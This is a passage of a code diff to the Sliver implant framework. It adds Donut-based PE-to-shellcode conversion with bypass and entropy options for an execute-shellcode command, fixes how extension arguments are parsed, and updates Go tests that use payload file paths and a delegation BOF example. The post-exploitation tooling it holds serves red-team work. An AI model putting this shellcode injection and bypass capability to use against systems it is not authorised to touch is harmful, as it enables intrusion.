compress: defaultExecuteShellcodeDonutCompress,
|
||||||
|
exitOpt: defaultExecuteShellcodeDonutExitOpt,
|
||||||
|
bypass: defaultExecuteShellcodeDonutBypass,
|
||||||
|
headers: defaultExecuteShellcodeDonutHeaders,
|
||||||
|
}
|
||||||
|
if config == nil {
|
||||||
|
return opts
|
||||||
|
}
|
||||||
|
if config.Entropy >= 1 && config.Entropy <= 3 {
|
||||||
|
opts.entropy = int(config.Entropy)
|
||||||
|
}
|
||||||
|
if config.Compress >= 1 && config.Compress <= 2 {
|
||||||
|
opts.compress = int(config.Compress)
|
||||||
|
}
|
||||||
|
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
|
||||||
|
opts.exitOpt = int(config.ExitOpt)
|
||||||
|
}
|
||||||
|
if config.Bypass >= 1 && config.Bypass <= 3 {
|
||||||
|
opts.bypass = int(config.Bypass)
|
||||||
|
}
|
||||||
|
if config.Headers >= 1 && config.Headers <= 2 {
|
||||||
|
opts.headers = int(config.Headers)
|
||||||
|
}
|
||||||
|
opts.thread = config.Thread
|
||||||
|
opts.unicode = config.Unicode
|
||||||
|
if config.OEP > 0 {
|
||||||
|
opts.oep = config.OEP
|
||||||
|
}
|
||||||
|
return opts
|
||||||
|
}
|
||||||
|
|
||||||
|
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
|
||||||
|
peFile, err := pe.NewFile(bytes.NewReader(data))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
|
||||||
|
ext := ".exe"
|
||||||
|
if isDLL {
|
||||||
|
ext = ".dll"
|
||||||
|
}
|
||||||
|
opts := normalizeExecuteShellcodeDonutConfig(config)
|
||||||
|
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
|
||||||
|
Ext: ext,
|
||||||
|
Arch: getExecuteShellcodeDonutArch(arch),
|
||||||
|
Bypass: opts.bypass,
|
||||||
|
Headers: opts.headers,
|
||||||
|
Entropy: opts.entropy,
|
||||||
|
Compress: opts.compress,
|
||||||
|
ExitOpt: opts.exitOpt,
|
||||||
|
Thread: opts.thread,
|
||||||
|
Unicode: opts.unicode,
|
||||||
|
OEP: opts.oep,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return addExecuteShellcodeStackCheck(result.Loader), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getExecuteShellcodeDonutArch(arch string) int {
|
||||||
|
donutArch := wasmdonut.DonutArchX84
|
||||||
|
switch strings.ToLower(arch) {
|
||||||
|
case "x32", "x86", "386":
|
||||||
|
donutArch = wasmdonut.DonutArchX86
|
||||||
|
case "x64", "amd64":
|
||||||
|
donutArch = wasmdonut.DonutArchX64
|
||||||
|
case "x84":
|
||||||
|
donutArch = wasmdonut.DonutArchX84
|
||||||
|
}
|
||||||
|
return donutArch
|
||||||
|
}
|
||||||
|
|
||||||
|
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
|
||||||
|
stackCheckPrologue := []byte{
|
||||||
|
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||||
|
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||||
|
}
|
||||||
|
return append(stackCheckPrologue, shellcode...)
|
||||||
|
}
|
||||||
|
|
||||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
||||||
// Check active session
|
// Check active session
|
||||||
session := con.ActiveTarget.GetSessionInteractive()
|
session := con.ActiveTarget.GetSessionInteractive()
|
||||||
|
|||||||
@@ -0,0 +1,100 @@
|
|||||||
|
package exec
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
|
||||||
|
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||||
|
|
||||||
|
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||||
|
}
|
||||||
|
if changed {
|
||||||
|
t.Fatalf("expected changed=false with defaults")
|
||||||
|
}
|
||||||
|
if cfg == nil {
|
||||||
|
t.Fatalf("expected non-nil config")
|
||||||
|
}
|
||||||
|
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
|
||||||
|
t.Fatalf("unexpected defaults: %+v", cfg)
|
||||||
|
}
|
||||||
|
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
|
||||||
|
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
|
||||||
|
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||||
|
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-entropy: %v", err)
|
||||||
|
}
|
||||||
|
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-compress: %v", err)
|
||||||
|
}
|
||||||
|
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-thread: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||||
|
}
|
||||||
|
if !changed {
|
||||||
|
t.Fatalf("expected changed=true")
|
||||||
|
}
|
||||||
|
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
|
||||||
|
t.Fatalf("unexpected changed config: %+v", cfg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
|
||||||
|
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||||
|
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
|
||||||
|
t.Fatalf("set shellcode-bypass: %v", err)
|
||||||
|
}
|
||||||
|
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
|
||||||
|
t.Fatalf("expected validation error for shellcode-bypass")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
|
||||||
|
testCases := []struct {
|
||||||
|
name string
|
||||||
|
path string
|
||||||
|
flagsChanged bool
|
||||||
|
wantConvert bool
|
||||||
|
wantDLL bool
|
||||||
|
}{
|
||||||
|
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
|
||||||
|
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
|
||||||
|
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
|
||||||
|
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
|
||||||
|
}
|
||||||
|
for _, tc := range testCases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
|
||||||
|
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
|
||||||
|
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
cmd := &cobra.Command{Use: "execute-shellcode"}
|
||||||
|
cmd.Flags().Uint32("shellcode-entropy", 1, "")
|
||||||
|
cmd.Flags().Bool("shellcode-compress", false, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-bypass", 3, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-headers", 1, "")
|
||||||
|
cmd.Flags().Bool("shellcode-thread", false, "")
|
||||||
|
cmd.Flags().Bool("shellcode-unicode", false, "")
|
||||||
|
cmd.Flags().Uint32("shellcode-oep", 0, "")
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
@@ -79,10 +79,14 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
if token || hidden || ppid != 0 {
|
if token || hidden || ppid != 0 {
|
||||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||||
|
ctrl <- true
|
||||||
|
<-ctrl
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if envInheritance || len(envVars) > 0 {
|
if envInheritance || len(envVars) > 0 {
|
||||||
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
|
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
|
||||||
|
ctrl <- true
|
||||||
|
<-ctrl
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||||
|
|||||||
@@ -0,0 +1,123 @@
|
|||||||
|
package extensions
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2021 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
)
|
||||||
|
|
||||||
|
// splitExtensionArgs separates Sliver-owned flags (--save, --timeout, --help)
|
||||||
|
// from the extension's own arguments in a raw argument slice.
|
||||||
|
//
|
||||||
|
// Extension commands run with cobra's DisableFlagParsing enabled (see
|
||||||
|
// ExtensionRegisterCommand). Without it, pflag parses the command line first
|
||||||
|
// and, because the extension's own flags (e.g. --type, --fqdn) are unknown to
|
||||||
|
// pflag, ParseErrorsWhitelist.UnknownFlags causes pflag to silently drop each
|
||||||
|
// unknown flag together with its value; the BOF argument parser never saw them
|
||||||
|
// unless the operator injected cobra's "--" separator (#2309). Running with
|
||||||
|
// flag parsing disabled hands us the raw, unstripped slice, so we separate the
|
||||||
|
// Sliver-owned flags ourselves here.
|
||||||
|
//
|
||||||
|
// A literal "--" stops Sliver-flag scanning; every token after it is passed
|
||||||
|
// through verbatim, preserving the long-standing workaround syntax. Unknown
|
||||||
|
// tokens (the extension's named flags, their values and positional arguments)
|
||||||
|
// are never consumed or reordered, so both forms work:
|
||||||
|
//
|
||||||
|
// delegationbof --timeout 30 --type 6 --fqdn child.htb.local
|
||||||
|
// delegationbof -- --type 6 --fqdn child.htb.local
|
||||||
|
func splitExtensionArgs(raw []string) (save bool, timeout int64, help bool, extArgs []string) {
|
||||||
|
timeout = defaultTimeout
|
||||||
|
extArgs = make([]string, 0, len(raw))
|
||||||
|
|
||||||
|
passthrough := false
|
||||||
|
for i := 0; i < len(raw); i++ {
|
||||||
|
tok := raw[i]
|
||||||
|
|
||||||
|
// Once we have seen "--", copy everything through untouched so the
|
||||||
|
// existing `ext -- --foo bar` syntax keeps working identically.
|
||||||
|
if passthrough {
|
||||||
|
extArgs = append(extArgs, tok)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
switch {
|
||||||
|
case tok == "--":
|
||||||
|
passthrough = true
|
||||||
|
|
||||||
|
case tok == "--help" || tok == "-h":
|
||||||
|
help = true
|
||||||
|
|
||||||
|
case tok == "--save" || tok == "-s":
|
||||||
|
save = true
|
||||||
|
|
||||||
|
case strings.HasPrefix(tok, "--save="):
|
||||||
|
save = parseBoolValue(tok[len("--save="):], true)
|
||||||
|
|
||||||
|
case tok == "--timeout" || tok == "-t":
|
||||||
|
// Consume the following token as the value, mirroring pflag. If no
|
||||||
|
// token follows, leave the default in place rather than erroring.
|
||||||
|
if i+1 < len(raw) {
|
||||||
|
if n, err := strconv.ParseInt(raw[i+1], 10, 64); err == nil {
|
||||||
|
timeout = n
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
|
||||||
|
case strings.HasPrefix(tok, "--timeout="):
|
||||||
|
if n, err := strconv.ParseInt(tok[len("--timeout="):], 10, 64); err == nil {
|
||||||
|
timeout = n
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
// Not a Sliver-owned flag: hand it to the extension parser untouched.
|
||||||
|
extArgs = append(extArgs, tok)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return save, timeout, help, extArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
// applyOwnedFlags republishes the manually parsed Sliver-owned flag values back
|
||||||
|
// onto the command's flag set. DisableFlagParsing prevents pflag from populating
|
||||||
|
// them, so helpers that read them via cmd.Flags() (notably ActiveTarget.Request,
|
||||||
|
// which derives the gRPC timeout from --timeout) would otherwise observe only the
|
||||||
|
// defaults.
|
||||||
|
func applyOwnedFlags(cmd *cobra.Command, save bool, timeout int64) {
|
||||||
|
if flag := cmd.Flags().Lookup("timeout"); flag != nil {
|
||||||
|
_ = flag.Value.Set(strconv.FormatInt(timeout, 10))
|
||||||
|
}
|
||||||
|
if flag := cmd.Flags().Lookup("save"); flag != nil {
|
||||||
|
_ = flag.Value.Set(strconv.FormatBool(save))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseBoolValue parses a --flag=value bool, defaulting to defVal when the value
|
||||||
|
// is empty (the bare-flag form). It accepts the same spellings pflag does.
|
||||||
|
func parseBoolValue(v string, defVal bool) bool {
|
||||||
|
switch strings.ToLower(v) {
|
||||||
|
case "", "true", "t", "1":
|
||||||
|
return true
|
||||||
|
case "false", "f", "0":
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return defVal
|
||||||
|
}
|
||||||
@@ -0,0 +1,149 @@
|
|||||||
|
package extensions
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2021 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"reflect"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestSplitExtensionArgs covers the argument-passthrough regression from #2309:
|
||||||
|
// the extension's own named flags must reach the BOF parser intact regardless of
|
||||||
|
// the cobra "--" separator, while Sliver-owned flags are still honoured.
|
||||||
|
func TestSplitExtensionArgs(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
in []string
|
||||||
|
save bool
|
||||||
|
timeout int64
|
||||||
|
help bool
|
||||||
|
extArgs []string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "named extension flags without -- separator (#2309 regression)",
|
||||||
|
in: []string{"--type", "6", "--fqdn", "child.htb.local"},
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{"--type", "6", "--fqdn", "child.htb.local"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "named extension flags with -- separator (existing workaround)",
|
||||||
|
in: []string{"--", "--type", "6", "--fqdn", "child.htb.local"},
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{"--type", "6", "--fqdn", "child.htb.local"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "sliver-owned flags precede extension arguments",
|
||||||
|
in: []string{"--timeout", "30", "--save", "--type", "6"},
|
||||||
|
save: true,
|
||||||
|
timeout: 30,
|
||||||
|
extArgs: []string{"--type", "6"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "quoted value containing spaces stays a single argument",
|
||||||
|
in: []string{"--name", "hello world", "--type", "6"},
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{"--name", "hello world", "--type", "6"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "positional extension arguments are preserved",
|
||||||
|
in: []string{"foo", "bar", "baz"},
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{"foo", "bar", "baz"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "single-dash and double-dash forms are preserved",
|
||||||
|
in: []string{"-type", "6", "--fqdn", "child.htb.local"},
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{"-type", "6", "--fqdn", "child.htb.local"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "equals form for timeout",
|
||||||
|
in: []string{"--timeout=120", "--type", "6"},
|
||||||
|
timeout: 120,
|
||||||
|
extArgs: []string{"--type", "6"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "short -s save flag",
|
||||||
|
in: []string{"-s", "--type", "6"},
|
||||||
|
save: true,
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{"--type", "6"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "help flag is detected",
|
||||||
|
in: []string{"--help"},
|
||||||
|
help: true,
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "empty input",
|
||||||
|
in: nil,
|
||||||
|
timeout: defaultTimeout,
|
||||||
|
extArgs: []string{},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
save, timeout, help, extArgs := splitExtensionArgs(tc.in)
|
||||||
|
|
||||||
|
if save != tc.save {
|
||||||
|
t.Errorf("save: got %v, want %v", save, tc.save)
|
||||||
|
}
|
||||||
|
if timeout != tc.timeout {
|
||||||
|
t.Errorf("timeout: got %d, want %d", timeout, tc.timeout)
|
||||||
|
}
|
||||||
|
if help != tc.help {
|
||||||
|
t.Errorf("help: got %v, want %v", help, tc.help)
|
||||||
|
}
|
||||||
|
if !reflect.DeepEqual(extArgs, tc.extArgs) {
|
||||||
|
t.Errorf("extArgs: got %#v, want %#v", extArgs, tc.extArgs)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestParseBoolValue checks the --flag=value helper used for --save=value.
|
||||||
|
func TestParseBoolValue(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
in string
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"", true},
|
||||||
|
{"true", true},
|
||||||
|
{"TRUE", true},
|
||||||
|
{"1", true},
|
||||||
|
{"t", true},
|
||||||
|
{"false", false},
|
||||||
|
{"0", false},
|
||||||
|
{"no", false}, // unsupported spellings keep the default
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
got := parseBoolValue(tc.in, true)
|
||||||
|
// "no" is not a pflag spelling, so it falls through to the default (true).
|
||||||
|
want := tc.want
|
||||||
|
if tc.in == "no" {
|
||||||
|
want = true
|
||||||
|
}
|
||||||
|
if got != want {
|
||||||
|
t.Errorf("parseBoolValue(%q): got %v, want %v", tc.in, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package extensions
|
package extensions
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/command/use"
|
"github.com/bishopfox/sliver/client/command/use"
|
||||||
@@ -33,6 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
extensionCmd.AddCommand(extensionLoadCmd)
|
extensionCmd.AddCommand(extensionLoadCmd)
|
||||||
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
|
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(extensionLoadCmd, 0)
|
||||||
|
|
||||||
extensionInstallCmd := &cobra.Command{
|
extensionInstallCmd := &cobra.Command{
|
||||||
Use: consts.InstallStr,
|
Use: consts.InstallStr,
|
||||||
@@ -45,6 +47,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
extensionCmd.AddCommand(extensionInstallCmd)
|
extensionCmd.AddCommand(extensionInstallCmd)
|
||||||
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
|
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(extensionInstallCmd, 0)
|
||||||
|
|
||||||
extensionRmCmd := &cobra.Command{
|
extensionRmCmd := &cobra.Command{
|
||||||
Use: consts.RmStr,
|
Use: consts.RmStr,
|
||||||
|
|||||||
@@ -3,6 +3,8 @@ package extensions
|
|||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/util"
|
||||||
)
|
)
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@@ -114,6 +116,8 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func TestParseExtensionManifest(t *testing.T) {
|
func TestParseExtensionManifest(t *testing.T) {
|
||||||
|
expectedPath := util.ResolvePath("foo/test1.dll")
|
||||||
|
|
||||||
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("Error parsing extension manifest: %s", err)
|
t.Fatalf("Error parsing extension manifest: %s", err)
|
||||||
@@ -150,8 +154,8 @@ func TestParseExtensionManifest(t *testing.T) {
|
|||||||
if extCmd.Files[0].Arch != "amd64" {
|
if extCmd.Files[0].Arch != "amd64" {
|
||||||
t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch)
|
t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch)
|
||||||
}
|
}
|
||||||
if extCmd.Files[0].Path != "/foo/test1.dll" {
|
if extCmd.Files[0].Path != expectedPath {
|
||||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path)
|
t.Errorf("Expected path '%s', got '%s'", expectedPath, extCmd.Files[0].Path)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -178,14 +182,16 @@ func TestParseExtensionManifest(t *testing.T) {
|
|||||||
if extManifest2.Files[0].Arch != "amd64" {
|
if extManifest2.Files[0].Arch != "amd64" {
|
||||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||||
}
|
}
|
||||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
if extManifest2.Files[0].Path != expectedPath {
|
||||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
t.Errorf("Expected path '%s', got '%s'", expectedPath, extManifest2.Files[0].Path)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestParseMultipleCmdManifest(t *testing.T) {
|
func TestParseMultipleCmdManifest(t *testing.T) {
|
||||||
|
expectedPath := util.ResolvePath("ex.dll")
|
||||||
|
|
||||||
mextManifest, err := ParseExtensionManifest([]byte(multicmd))
|
mextManifest, err := ParseExtensionManifest([]byte(multicmd))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Errorf("error parsing manifest: %s", err)
|
t.Errorf("error parsing manifest: %s", err)
|
||||||
@@ -206,11 +212,11 @@ func TestParseMultipleCmdManifest(t *testing.T) {
|
|||||||
if mextManifest.ExtCommand[1].Entrypoint != "Test2" {
|
if mextManifest.ExtCommand[1].Entrypoint != "Test2" {
|
||||||
t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint)
|
t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint)
|
||||||
}
|
}
|
||||||
if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
|
if mextManifest.ExtCommand[0].Files[0].Path != expectedPath { // path normalization is platform-specific
|
||||||
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
|
t.Errorf("expected path %s, got %s", expectedPath, mextManifest.ExtCommand[0].Files[0].Path)
|
||||||
}
|
}
|
||||||
if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod
|
if mextManifest.ExtCommand[1].Files[0].Path != expectedPath { // path normalization is platform-specific
|
||||||
t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path)
|
t.Errorf("expected path %s, got %s", expectedPath, mextManifest.ExtCommand[1].Files[0].Path)
|
||||||
}
|
}
|
||||||
//maybe some more? args?
|
//maybe some more? args?
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -370,16 +370,19 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
|
|||||||
Run: func(cmd *cobra.Command, args []string) {
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
runExtensionCmd(cmd, con, args)
|
runExtensionCmd(cmd, con, args)
|
||||||
},
|
},
|
||||||
GroupID: consts.ExtensionHelpGroup,
|
GroupID: consts.ExtensionHelpGroup,
|
||||||
Annotations: makeCommandPlatformFilters(extCmd),
|
// DisableFlagParsing keeps the extension's own flags (which are unknown to
|
||||||
|
// pflag) from being silently stripped together with their values. We split
|
||||||
|
// Sliver-owned flags out of the raw slice ourselves in runExtensionCmd (#2309).
|
||||||
|
DisableFlagParsing: true,
|
||||||
|
Annotations: makeCommandPlatformFilters(extCmd),
|
||||||
}
|
}
|
||||||
|
|
||||||
// Flags
|
// Flags
|
||||||
f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError)
|
f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError)
|
||||||
f.BoolP("save", "s", false, "Save output to disk")
|
f.BoolP("save", "s", false, "Save output to disk")
|
||||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
f.Int64P("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||||
extensionCmd.Flags().AddFlagSet(f)
|
extensionCmd.Flags().AddFlagSet(f)
|
||||||
extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
|
||||||
|
|
||||||
// Completions
|
// Completions
|
||||||
comps := carapace.Gen(extensionCmd)
|
comps := carapace.Gen(extensionCmd)
|
||||||
@@ -529,6 +532,18 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con
|
|||||||
}
|
}
|
||||||
|
|
||||||
func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
|
// The command runs with DisableFlagParsing, so args is the raw, unstripped
|
||||||
|
// slice. Separate Sliver-owned flags from the extension's own arguments and
|
||||||
|
// re-publish them on the flag set (so Request()'s --timeout still works),
|
||||||
|
// then feed only the extension arguments to the BOF/DLL parsers (#2309).
|
||||||
|
save, timeout, helpRequested, extArgs := splitExtensionArgs(args)
|
||||||
|
